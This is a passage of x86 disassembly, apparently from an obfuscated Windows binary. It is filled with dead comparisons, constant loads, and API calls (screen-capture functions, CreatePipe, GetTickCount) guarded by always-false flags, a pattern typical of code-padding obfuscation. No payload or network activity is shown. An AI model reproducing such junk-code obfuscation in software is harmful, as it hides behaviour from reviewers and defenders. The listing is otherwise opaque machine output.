imul eax, dword [ebp - 0x1d14]
cmp eax, dword [ebp - 0xad8]
jle 0x479f71
mov dword [ebp - 0x181c], 1
jmp 0x479f78
and dword [ebp - 0x181c], 0
mov eax, dword [ebp - 0x640]
cmp dword [ebp - 0x181c], eax
jle 0x479f92
mov dword [ebp - 0x24f4], 1
jmp 0x479f99
and dword [ebp - 0x24f4], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x640], eax
je 0x479fb3
mov dword [ebp - 0x21c4], 1
jmp 0x479fba
and dword [ebp - 0x21c4], 0
mov eax, dword [ebp - 0xfc]
imul eax, dword [ebp - 0x21c4]
add eax, dword [ebp - 0xad8]
mov dword [ebp - 0x26f4], eax
jmp 0x479f0b
jmp 0x479fe6
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xfc], eax
mov byte [ebp - 0x2cf], 0
push 2
lea ecx, [ebp - 0x217c]
call fcn.00432b0d
mov dword [ebp - 0x8c], 0xfffffffe
mov dword [ebp - 0x658], 0x23a266d2
mov dword [ebp - 0x580], 0xffffffff
mov dword [ebp - 0xb90], 0xfffffff8
mov dword [ebp - 0x650], 0xffffffff
mov dword [ebp - 0x184c], 0xfffffffc
mov dword [ebp - 0x648], 0
jmp 0x47a05b
mov eax, dword [ebp - 0x648]
inc eax
mov dword [ebp - 0x648], eax
cmp dword [ebp - 0x648], 2
jge 0x47a07d
push dword [ebp - 0x648]
lea ecx, [ebp - 0x217c]
call fcn.00432bfb
mov dword [eax], 0x5d6c
jmp 0x47a04e
mov dword [ebp - 0x8c], 0
jmp 0x47a096
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 1
jg 0x47a1d4
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x217c]
call fcn.00432bfb
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x217c]
call fcn.00432bfb
cmp dword [eax], 0xb194
je 0x47a0d9
mov dword [ebp - 0x1824], 1
jmp 0x47a0e0
and dword [ebp - 0x1824], 0
cmp dword [ebp - 0x1824], 0x7249
je 0x47a0f8
mov dword [ebp - 0x1d1c], 1
jmp 0x47a0ff
and dword [ebp - 0x1d1c], 0
mov eax, dword [ebp - 0x1d1c]
mov dword [ebp - 0x658], eax
mov esi, dword [ebp - 0x658]
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x217c]
call fcn.00432bfb
cmp esi, dword [eax]
jge 0x47a132
mov dword [ebp - 0x182c], 1
jmp 0x47a139
and dword [ebp - 0x182c], 0
cmp dword [ebp - 0x182c], 0x3bd65256
jge 0x47a167
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x217c]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47a167
mov dword [ebp - 0x1f94], 1
jmp 0x47a16e
and dword [ebp - 0x1f94], 0
mov eax, dword [ebp - 0x1f94]
mov dword [ebp - 0x580], eax
mov esi, dword [ebp - 0x580]
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x217c]
call fcn.00432bfb
cmp dword [eax], esi
jne 0x47a1a1
mov dword [ebp - 0x1834], 1
jmp 0x47a1a8
and dword [ebp - 0x1834], 0
mov eax, dword [ebp - 0x1834]
mov dword [ebp - 0xb90], eax
push dword [ebp - 0x8c]
lea ecx, [ebp - 0x217c]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47a1cf
jmp 0x47a089
jmp 0x47a089
mov eax, dword [ebp - 0x184c]
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x580]
mov dword [ebp - 0x2f28], eax
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x580], eax
jge 0x47a206
mov dword [ebp - 0x1d24], 1
jmp 0x47a20d
and dword [ebp - 0x1d24], 0
mov eax, dword [ebp - 0x1d24]
sub eax, dword [ebp - 0x8c]
cmp eax, 7
jge 0x47a22a
mov dword [ebp - 0x183c], 1
jmp 0x47a231
and dword [ebp - 0x183c], 0
mov eax, dword [ebp - 0x650]
add eax, dword [ebp - 0x183c]
jne 0x47a251
cmp dword [ebp - 0x650], 0
jne 0x47a251
and dword [ebp - 0x20c0], 0
jmp 0x47a25b
mov dword [ebp - 0x20c0], 1
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp - 0x20c0]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x650], 0
ja 0x47a282
mov dword [ebp - 0x1844], 1
jmp 0x47a289
and dword [ebp - 0x1844], 0
mov eax, dword [ebp - 0x650]
neg eax
cmp eax, dword [ebp - 0x1844]
jg 0x47a2a5
mov dword [ebp - 0x1d2c], 1
jmp 0x47a2ac
and dword [ebp - 0x1d2c], 0
mov eax, dword [ebp - 0x1d2c]
sub eax, dword [ebp - 0x184c]
push 8
pop ecx
sub ecx, eax
cmp dword [ebp - 0xb90], ecx
jne 0x47a2d1
mov dword [ebp - 0x1f9c], 1
jmp 0x47a2d8
and dword [ebp - 0x1f9c], 0
mov eax, dword [ebp - 0x1f9c]
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x658], 0
jne 0x47a2ff
mov eax, 0xffff
test eax, eax
jne 0x47a2ff
and dword [ebp - 0x1854], 0
jmp 0x47a309
mov dword [ebp - 0x1854], 1
mov eax, dword [ebp - 0x1854]
mov dword [ebp - 0xb90], eax
lea ecx, [ebp - 0x217c]
call fcn.00432bdf
movzx eax, byte [ebp - 0x2cf]
test eax, eax
je 0x47a48a
mov dword [ebp - 0x660], 1
mov dword [ebp - 0x3308], 0x8bac04ee
push 2
lea ecx, [ebp - 0x3434]
call fcn.00432b0d
push 1
lea ecx, [ebp - 0x2e24]
call fcn.00432b0d
mov dword [ebp - 0x94], 0
jmp 0x47a376
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
jge 0x47a392
mov eax, dword [ebp - 0x94]
mov dword [ebp + eax*4 - 0x39e0], 1
jmp 0x47a369
mov dword [ebp - 0x94], 0
jmp 0x47a3ab
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 2
jge 0x47a3cd
push dword [ebp - 0x94]
lea ecx, [ebp - 0x3434]
call fcn.00432bfb
mov dword [eax], 0x405b4019
jmp 0x47a39e
mov dword [ebp - 0x94], 0
jmp 0x47a3e6
mov eax, dword [ebp - 0x94]
inc eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 1
jge 0x47a408
push dword [ebp - 0x94]
lea ecx, [ebp - 0x2e24]
call fcn.00432bfb
mov dword [eax], 0x1867b8f5
jmp 0x47a3d9
mov dword [ebp - 0x660], 2
jmp 0x47a421
mov eax, dword [ebp - 0x660]
dec eax
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 0
jl 0x47a448
mov byte [ebp - 0x3f0], 0
movzx eax, byte [ebp - 0x3f0]
test eax, eax
je 0x47a446
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
jmp 0x47a414
push 0
lea ecx, [ebp - 0x2e24]
call fcn.00432bfb
mov dword [ebp - 0x1d34], eax
mov eax, dword [ebp - 0x1d34]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x1d34]
mov dword [ecx], eax
lea ecx, [ebp - 0x2e24]
call fcn.00432bdf
lea ecx, [ebp - 0x3434]
call fcn.00432bdf
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov dword [ebp - 0x668], 0xca631852
mov dword [ebp - 0x668], 0xb
jmp 0x47a4ad
mov eax, dword [ebp - 0x668]
dec eax
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0xfffffff7
jle 0x47a607
mov dword [ebp - 0x678], 1
push 3
lea ecx, [ebp - 0x3444]
call fcn.00432b0d
mov dword [ebp - 0x670], 0
jmp 0x47a4ea
mov eax, dword [ebp - 0x670]
inc eax
mov dword [ebp - 0x670], eax
cmp dword [ebp - 0x670], 3
jge 0x47a50c
push dword [ebp - 0x670]
lea ecx, [ebp - 0x3444]
call fcn.00432bfb
mov dword [eax], 3
jmp 0x47a4dd
mov dword [ebp - 0x678], 0
jmp 0x47a525
mov eax, dword [ebp - 0x678]
dec eax
mov dword [ebp - 0x678], eax
cmp dword [ebp - 0x678], 0xffffffeb
jne 0x47a5f7
push 2
lea ecx, [ebp - 0x27b8]
call fcn.00432b0d
mov dword [ebp - 0x680], 0
jmp 0x47a558
mov eax, dword [ebp - 0x680]
inc eax
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x680], 2
jge 0x47a57a
push dword [ebp - 0x680]
lea ecx, [ebp - 0x27b8]
call fcn.00432bfb
mov dword [eax], 0xded68044
jmp 0x47a54b
push 1
lea ecx, [ebp - 0x27b8]
call fcn.00432bfb
mov dword [eax], 2
jmp 0x47a5b3
push 1
lea ecx, [ebp - 0x27b8]
call fcn.00432bfb
mov dword [ebp - 0x185c], eax
mov eax, dword [ebp - 0x185c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x185c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x27b8]
call fcn.00432bfb
cmp dword [eax], 0
jl 0x47a5e7
mov byte [ebp - 0x2d1], 0
movzx eax, byte [ebp - 0x2d1]
test eax, eax
je 0x47a5e5
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
jmp 0x47a58f
lea ecx, [ebp - 0x27b8]
call fcn.00432bdf
jmp 0x47a518
lea ecx, [ebp - 0x3444]
call fcn.00432bdf
jmp 0x47a4a0
mov byte [ebp - 0x406], 0
movzx eax, byte [ebp - 0x406]
test eax, eax
je 0x47a65e
push 0x1629
push 0x8e1
push 0x1f9e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1115
push 0x697
push 0xa2b
push 0x3fe
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
cmp dword [ebp - 0x540], 0
je 0x47a669
jmp 0x47a66e
jmp 0x479e67
mov dword [ebp - 0xb0], 0x34678dc2
mov dword [ebp - 0x74], 0
mov dword [ebp - 0xb84], 0x62b994b7
mov dword [ebp - 0xae0], 0xa83afd47
mov dword [ebp - 0x2f30], 0xfffffffd
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0x3648], eax
push 3
pop eax
test eax, eax
je 0x47a6c5
cmp dword [ebp - 0xb0], 0
je 0x47a6c5
mov dword [ebp - 0x2160], 1
jmp 0x47a6cc
and dword [ebp - 0x2160], 0
mov eax, dword [ebp - 0xb0]
add eax, dword [ebp - 0x2160]
cmp eax, dword [ebp - 0x74]
je 0x47a6ec
cmp dword [ebp - 0x74], 0
jne 0x47a6ec
and dword [ebp - 0x1864], 0
jmp 0x47a6f6
mov dword [ebp - 0x1864], 1
cmp dword [ebp - 0x1864], 9
ja 0x47a70b
mov dword [ebp - 0x1d3c], 1
jmp 0x47a712
and dword [ebp - 0x1d3c], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x1d3c], eax
jge 0x47a72c
mov dword [ebp - 0x186c], 1
jmp 0x47a733
and dword [ebp - 0x186c], 0
cmp dword [ebp - 0x186c], 1
jne 0x47a748
mov dword [ebp - 0x1fa4], 1
jmp 0x47a74f
and dword [ebp - 0x1fa4], 0
imul eax, dword [ebp - 0x1fa4], 0
mov dword [ebp - 0xb84], eax
mov eax, dword [ebp - 0xb84]
sub eax, dword [ebp - 0xb0]
cmp eax, dword [ebp - 0xb0]
jge 0x47a77c
mov dword [ebp - 0x1874], 1
jmp 0x47a783
and dword [ebp - 0x1874], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x1874], eax
je 0x47a79a
mov dword [ebp - 0x1d44], 1
jmp 0x47a7a1
and dword [ebp - 0x1d44], 0
mov eax, dword [ebp - 0x1d44]
add eax, 0x7d457283
cmp eax, dword [ebp - 0xb0]
jg 0x47a7c0
mov dword [ebp - 0x187c], 1
jmp 0x47a7c7
and dword [ebp - 0x187c], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x187c], eax
je 0x47a7de
mov dword [ebp - 0x20c8], 1
jmp 0x47a7e5
and dword [ebp - 0x20c8], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x20c8], eax
jne 0x47a7ff
mov dword [ebp - 0x1884], 1
jmp 0x47a806
and dword [ebp - 0x1884], 0
mov eax, dword [ebp - 0xae0]
cmp dword [ebp - 0x1884], eax
jne 0x47a820
mov dword [ebp - 0x1d4c], 1
jmp 0x47a827
and dword [ebp - 0x1d4c], 0
mov eax, dword [ebp - 0x1d4c]
mov dword [ebp - 0xae0], eax
cmp dword [ebp - 0xae0], 0
je 0x47a941
mov dword [ebp - 0x24c], 0
jmp 0x47a859
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x47a875
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x38b8], 0x6399
jmp 0x47a84c
mov dword [ebp - 0x24c], 0
jmp 0x47a88e
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x47a8aa
mov eax, dword [ebp - 0x24c]
mov dword [ebp + eax*4 - 0x39c8], 0xe35fe57b
jmp 0x47a881
mov dword [ebp - 0xb0], 2
jmp 0x47a8c3
mov eax, dword [ebp - 0xb0]
dec eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jl 0x47a8f5
mov dword [ebp - 0x24fc], 5
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp + eax*4 - 0x38b8]
mov dword [ebp - 0x2f38], eax
mov dword [ebp - 0x24fc], 0
jmp 0x47a8b6
mov dword [ebp - 0x74], 0
jmp 0x47a905
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jg 0x47a93c
mov dword [ebp - 0xc98], 0x9761
mov eax, dword [ebp - 0xc98]
inc eax
mov dword [ebp - 0xc98], eax
mov byte [ebp - 0x2d3], 0
movzx eax, byte [ebp - 0x2d3]
test eax, eax
je 0x47a93a
call dword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x47a8fe
jmp 0x47a9e9
push 3
lea ecx, [ebp - 0x27c8]
call fcn.00432b0d
mov dword [ebp - 0x688], 0
jmp 0x47a967
mov eax, dword [ebp - 0x688]
inc eax
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x688], 3
jge 0x47a989
push dword [ebp - 0x688]
lea ecx, [ebp - 0x27c8]
call fcn.00432bfb
mov dword [eax], 1
jmp 0x47a95a
mov dword [ebp - 0x74], 0
jmp 0x47a999
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 2
jg 0x47a9de
push dword [ebp - 0x74]
lea ecx, [ebp - 0x27c8]
call fcn.00432bfb
mov esi, eax
push dword [ebp - 0x74]
lea ecx, [ebp - 0x27c8]
call fcn.00432bfb
mov ecx, dword [esi]
add ecx, dword [eax]
mov dword [ebp - 0xb84], ecx
push dword [ebp - 0x74]
lea ecx, [ebp - 0x27c8]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47a9dc
jmp 0x47a9de
jmp 0x47a992
lea ecx, [ebp - 0x27c8]
call fcn.00432bdf
call fcn.00467ce9
push 2
lea ecx, [ebp - 0x29bc]
call fcn.00432b0d
mov dword [ebp - 0x1894], 0x8dc2
mov dword [ebp - 0x5d4], 0x80e033c2
mov dword [ebp - 0x28a8], 0x826a056e
mov dword [ebp - 0x3318], 0x27359b50
mov dword [ebp - 0x214], 0
jmp 0x47aa3c
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 2
jge 0x47aa5e
push dword [ebp - 0x214]
lea ecx, [ebp - 0x29bc]
call fcn.00432bfb
mov dword [eax], 0xbc588e1b
jmp 0x47aa2f
mov dword [ebp - 0x214], 0
jmp 0x47aa77
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 3
jge 0x47aa93
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x3888], 0xffffffff
jmp 0x47aa6a
push 1
lea ecx, [ebp - 0x29bc]
call fcn.00432bfb
cmp dword [eax], 0
jne 0x47aaef
push 1
lea ecx, [ebp - 0x29bc]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47aaca
push 0xfffffffffffffffe
pop eax
test eax, eax
je 0x47aaca
mov dword [ebp - 0x1fac], 1
jmp 0x47aad1
and dword [ebp - 0x1fac], 0
mov eax, dword [ebp - 0x1fac]
mov dword [ebp - 0x1894], eax
cmp dword [ebp - 0x1894], 0
jne 0x47aaef
and dword [ebp - 0x1d54], 0
jmp 0x47aaf9
mov dword [ebp - 0x1d54], 1
cmp dword [ebp - 0x5d4], 0xfffffffb
jb 0x47ab17
cmp dword [ebp - 0x5d4], 0
je 0x47ab17
mov dword [ebp - 0x189c], 1
jmp 0x47ab1e
and dword [ebp - 0x189c], 0
mov eax, dword [ebp - 0x1d54]
cmp eax, dword [ebp - 0x189c]
jge 0x47ab38
mov dword [ebp - 0x21dc], 1
jmp 0x47ab3f
and dword [ebp - 0x21dc], 0
mov eax, dword [ebp - 0x5d4]
cmp dword [ebp - 0x21dc], eax
jl 0x47ab59
mov dword [ebp - 0x18a4], 1
jmp 0x47ab60
and dword [ebp - 0x18a4], 0
mov eax, dword [ebp - 0x5d4]
cmp dword [ebp - 0x18a4], eax
jg 0x47ab7a
mov dword [ebp - 0x1d5c], 1
jmp 0x47ab81
and dword [ebp - 0x1d5c], 0
cmp dword [ebp - 0x1d5c], 0x81c2
jge 0x47ab99
mov dword [ebp - 0x18ac], 1
jmp 0x47aba0
and dword [ebp - 0x18ac], 0
mov eax, dword [ebp - 0x18ac]
sub eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x1db4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1db4]
mov dword [ebp + eax - 0x3888], ecx
mov eax, dword [ebp - 0x1db4]
mov dword [ebp - 0x28a8], eax
lea ecx, [ebp - 0x29bc]
call fcn.00432bdf
push 3
lea ecx, [ebp - 0x9b8]
call fcn.00432b0d
mov dword [ebp - 0x80], 0x6aabecba
mov dword [ebp - 0x1db8], 0xffffffff
mov dword [ebp - 0x690], 0
jmp 0x47ac13
mov eax, dword [ebp - 0x690]
inc eax
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x690], 3
jge 0x47ac35
push dword [ebp - 0x690]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
mov dword [eax], 0x313dd33a
jmp 0x47ac06
mov dword [ebp - 0x80], 2
jmp 0x47ac45
mov eax, dword [ebp - 0x80]
dec eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jl 0x47ae79
mov dword [ebp - 0x26fc], 0x17245c2f
mov dword [ebp - 0x1d64], 0xfffffffc
mov dword [ebp - 0x548], 0x4433ac25
mov dword [ebp - 0x250c], 0xf0bd907c
mov dword [ebp - 0x2860], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
mov esi, eax
push 2
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
mov ecx, dword [esi]
add ecx, dword [eax]
jne 0x47adea
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
mov esi, eax
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
mov ecx, dword [esi]
cmp ecx, dword [eax]
jge 0x47aceb
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47aceb
mov dword [ebp - 0x2504], 1
jmp 0x47acf2
and dword [ebp - 0x2504], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
cmp dword [eax], 0
jne 0x47ad2a
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
cmp dword [eax], 0
jne 0x47ad2a
cmp dword [ebp - 0x80], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
cmp dword [eax], 0xec46bc22
jae 0x47ad4c
mov dword [ebp - 0x18b4], 1
jmp 0x47ad53
and dword [ebp - 0x18b4], 0
push 1
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
mov ecx, dword [ebp - 0x18b4]
cmp ecx, dword [eax]
jge 0x47ad76
mov dword [ebp - 0xae8], 1
jmp 0x47ad7d
and dword [ebp - 0xae8], 0
push dword [ebp - 0x80]
lea ecx, [ebp - 0x9b8]
call fcn.00432bfb
mov ecx, dword [ebp - 0xae8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xae8]
mov dword [ebp - 0x26fc], eax
mov dword [ebp - 0x1d64], 0x1031
cmp dword [ebp - 0x1d64], 0xfffffffb
jl 0x47adbe
mov dword [ebp - 0x18bc], 1
jmp 0x47adc5
and dword [ebp - 0x18bc], 0
mov eax, dword [ebp - 0x548]
imul eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x1db8], eax
cmp dword [ebp - 0x1db8], 0
jne 0x47adea
and dword [ebp - 0x18c4], 0
jmp 0x47adf4
mov dword [ebp - 0x18c4], 1
mov eax, dword [ebp - 0x548]
cmp dword [ebp - 0x18c4], eax
je 0x47ae0e
mov dword [ebp - 0x1d6c], 1
jmp 0x47ae15
and dword [ebp - 0x1d6c], 0
mov eax, dword [ebp - 0x548]
cmp dword [ebp - 0x1d6c], eax
jne 0x47ae2f
mov dword [ebp - 0x18cc], 1
jmp 0x47ae36
and dword [ebp - 0x18cc], 0
mov eax, dword [ebp - 0x18cc]
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x548]
sub eax, dword [ebp - 0x250c]
cmp eax, 0xf1d8987f
jb 0x47ae61
mov dword [ebp - 0x1dc0], 1
jmp 0x47ae68
and dword [ebp - 0x1dc0], 0
mov eax, dword [ebp - 0x1dc0]
mov dword [ebp - 0x2860], eax
jmp 0x47ac3e
lea ecx, [ebp - 0x9b8]
call fcn.00432bdf
mov dword [ebp - 0x2b98], 0xbd94543b
mov dword [ebp - 0x2b94], 0xbd94543b
mov dword [ebp - 0x2b90], 0xbd94543b
mov dword [ebp - 0x2b8c], 0xbd94543b
lea ecx, [ebp - 0xb71]
call fcn.00432c0a
push eax
lea eax, [ebp - 0x2b88]
push eax
lea eax, [ebp - 0x2b98]
push eax
lea ecx, [ebp - 0x39a4]
call fcn.00432c0d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3454]
call fcn.00432bb9
mov dword [ebp - 0x1d74], 0x6ce0
mov dword [ebp - 0xbcc], 0x43af7806
mov dword [ebp - 0xaf0], 0xfffffffa
mov dword [ebp - 0x2900], 0x88dcfd8f
mov dword [ebp - 0x698], 0
jmp 0x47af22
mov eax, dword [ebp - 0x698]
inc eax
mov dword [ebp - 0x698], eax
cmp dword [ebp - 0x698], 3
jge 0x47af3e
mov eax, dword [ebp - 0x698]
mov dword [ebp + eax*4 - 0xc3c], 0x4469
jmp 0x47af15
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc3c]
cmp dword [ebp - 0x1d74], eax
jg 0x47af5f
mov dword [ebp - 0x18d4], 1
jmp 0x47af66
and dword [ebp - 0x18d4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc3c]
cmp eax, dword [ebp - 0x18d4]
jl 0x47af87
mov dword [ebp - 0x2514], 1
jmp 0x47af8e
and dword [ebp - 0x2514], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc3c]
mov dword [ebp - 0x2f40], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xc3c], 0xab97
jle 0x47afbf
mov dword [ebp - 0x2704], 1
jmp 0x47afc6
and dword [ebp - 0x2704], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc3c]
mov dword [ebp - 0x3710], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xc3c]
mov dword [ebp - 0x2f48], eax
mov dword [ebp - 0xbcc], 0x48dc
cmp dword [ebp - 0xbcc], 0
je 0x47b00b
xor eax, eax
jne 0x47b00b
and dword [ebp - 0x251c], 0
jmp 0x47b015
mov dword [ebp - 0x251c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc3c]
mov dword [ebp - 0x3328], eax
mov eax, dword [ebp - 0x1d74]
mov dword [ebp - 0x2f50], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc3c]
cmp dword [ebp - 0xbcc], eax
jne 0x47b055
mov dword [ebp - 0x1dc8], 1
jmp 0x47b05c
and dword [ebp - 0x1dc8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xc3c]
mov dword [ebp - 0x18dc], eax
push 0
lea ecx, [ebp - 0x3454]
call fcn.00432bfb
mov ecx, dword [ebp - 0x18dc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18dc]
cmp eax, dword [ebp - 0x1dc8]
jg 0x47b09e
mov dword [ebp - 0x18e4], 1
jmp 0x47b0a5
and dword [ebp - 0x18e4], 0
mov eax, dword [ebp - 0x18e4]
mov dword [ebp - 0xaf0], eax
cmp dword [ebp - 0xaf0], 0
je 0x47b0cf
cmp dword [ebp - 0xaf0], 0
je 0x47b0cf
mov dword [ebp - 0x1d7c], 1
jmp 0x47b0d6
and dword [ebp - 0x1d7c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1d7c]
sub ecx, dword [ebp + eax - 0xc3c]
mov dword [ebp - 0x2900], ecx
lea ecx, [ebp - 0x3454]
call fcn.00432bdf
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0x2bc0], 9
mov dword [ebp - 0x2bbc], 9
mov dword [ebp - 0x2bb8], 9
mov dword [ebp - 0x2bb4], 9
lea ecx, [ebp - 0xb95]
call fcn.00432c0a
push eax
lea eax, [ebp - 0x2bb0]
push eax
lea eax, [ebp - 0x2bc0]
push eax
lea ecx, [ebp - 0x3964]
call fcn.00432c0d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3464]
call fcn.00432bb9
mov dword [ebp - 0x4d0], 0xd4081c29
mov dword [ebp - 0x4d0], 0
jmp 0x47b184
mov eax, dword [ebp - 0x4d0]
inc eax
mov dword [ebp - 0x4d0], eax
cmp dword [ebp - 0x4d0], 3
jg 0x47b29a
mov dword [ebp - 0x6a0], 0
jmp 0x47b1aa
mov eax, dword [ebp - 0x6a0]
inc eax
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 2
jge 0x47b1c6
mov eax, dword [ebp - 0x6a0]
mov dword [ebp + eax*4 - 0x22a0], 0xffffffff
jmp 0x47b19d
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x22a0], 0
jmp 0x47b1f4
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22a0]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x22a0], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x22a0], 3
jg 0x47b295
mov dword [ebp - 0x6a8], 0
push dword [ebp - 0x4d0]
lea ecx, [ebp - 0x3464]
call fcn.00432bfb
cmp dword [eax], 0
je 0x47b22a
jmp 0x47b295
mov dword [ebp - 0x6a8], 3
jmp 0x47b243
mov eax, dword [ebp - 0x6a8]
dec eax
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 0
jl 0x47b290
mov byte [ebp - 0x3f2], 0
movzx eax, byte [ebp - 0x3f2]
test eax, eax
je 0x47b26b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
mov byte [ebp - 0x2d5], 0
movzx eax, byte [ebp - 0x2d5]
test eax, eax
je 0x47b28e
push 0xd89
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
jmp 0x47b236
jmp 0x47b1d9
jmp 0x47b177
lea ecx, [ebp - 0x3464]
call fcn.00432bdf
mov dword [ebp - 0x2524], 3
mov dword [ebp - 0x3650], 0xfffffff9
mov dword [ebp - 0x2f58], 1
mov dword [ebp - 0x3338], 0x3629aa8
mov dword [ebp - 0x2f60], 0
mov dword [ebp - 0x3754], 0x66c93ee3
mov dword [ebp - 0x3750], 0x66c93ee3
mov dword [ebp - 0x374c], 0x66c93ee3
mov dword [ebp - 0x3748], 0x66c93ee3
mov dword [ebp - 0x18ec], 0
mov dword [ebp - 0x2524], 0x24a8c6a5
mov eax, dword [ebp - 0x18ec]
inc eax
mov dword [ebp - 0x18ec], eax
mov dword [ebp - 0x3798], 1
mov dword [ebp - 0x2f68], 0
mov dword [ebp - 0x430], 0xd5e48d32
push 2
lea ecx, [ebp - 0x2de8]
call fcn.00432b0d
mov dword [ebp - 0x191c], 0x8d955a61
mov dword [ebp - 0xaf8], 0xfffffff9
mov dword [ebp - 0x6b0], 0
jmp 0x47b378
mov eax, dword [ebp - 0x6b0]
inc eax
mov dword [ebp - 0x6b0], eax
cmp dword [ebp - 0x6b0], 2
jge 0x47b39a
push dword [ebp - 0x6b0]
lea ecx, [ebp - 0x2de8]
call fcn.00432bfb
